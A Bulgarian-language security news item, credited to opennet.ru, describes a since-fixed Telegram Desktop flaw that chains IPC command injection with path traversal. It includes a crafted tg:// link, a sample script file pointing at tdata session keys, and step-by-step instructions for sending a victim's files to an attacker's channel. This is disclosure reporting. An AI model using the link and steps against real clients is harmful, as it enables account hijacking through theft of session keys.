Разкрити са подробности и методът на експлоатация на уязвимост (CVE-2026-107181) в Telegram Desktop, официалният клиент на Telegram за десктоп системи. Проблемът е причинен от недостатъчна обработка на неекранирани символи-разделители в IPC командите, което позволява при кликване на изпратена връзка да се организира предаване на всякакви файлове от системата на жертвата на хакера, включително файлове със сесийни ключове, които могат да се използват за захващане на акаунта в Telegram. Уязвимостта е отстранена в версия 7.2.9 на Telegram Desktop.
При кликване на линкове «tg://» операционната система стартира свързаното с този тип линкове приложение Telegram Desktop. Ако в системата вече е активен друг екземпляр на това приложение, стартираният процес предава линка през сокет чрез IPC интерфейса. Проблемът е, че ако символът «;» е указан сред параметрите на линка (например, «tg://x?a=1;OPEN…»), съдържанието се разделя и частите след символа «;» се обработват като отделни команди.
За извършване на атаката се използва команда OPEN заедно с URI схема «interpret:», предназначена за стартиране на служебни скриптове през IPC, които се използват за автоматично изпращане на нови версии в каналите. Скриптът представлява предварително зададен локален файл, в който е указан файловият път до изпращания в канала файл и идентификатора на канала. Пътят до файловете на скриптовете се обработва относително на служебния подкаталог, но поради отсъствието на почистване от «.. /» в файловите пътища, атакуващият има възможността да получи достъп до файлове, запазени извън основния каталог. Например, може да качи файл в собствената си telegram група, след което да се позове на този файл като на скрипт, подготвяйки линк от типа:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Стъпки за провеждане на атаката:
- Атакуващият добавя жертвата в своята група (при настройки по подразбиране добавянето не изисква потвърждение от добавянето) и изпраща в тази група текстов файл, в който е указан каналът и пътят до скрипта. Telegram ще запази този файл в предварително зададен системен подкаталог, когато жертвата влезе в групата.
channel: 2005234537
file: tdata/D877F783D5D3EF8Cs - Атакуващият изпраща на жертвата невинно изглеждаща връзка към своя хост (например, «https://coolsite.org»), която при отваряне чрез пренасочване към сървър атакуващия се заменя с URI от вида ‘tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….
- При кликване на линка браузърът извиква обработчик на URI „tg://“, стартирайки споменатата по-горе верига от команди, която води до изпращане на файлове към канала на атакуващия без показване на уведомления и без искане за потвърждение за изпращането.
- Получавайки файлове от подкаталога tdata с ключовете за криптиране и авторизация, при отсъствие на зададена от потребителя локална парола, атакуващият може да клонира сесията на жертвата на своето устройство.
Източник: opennet.ru
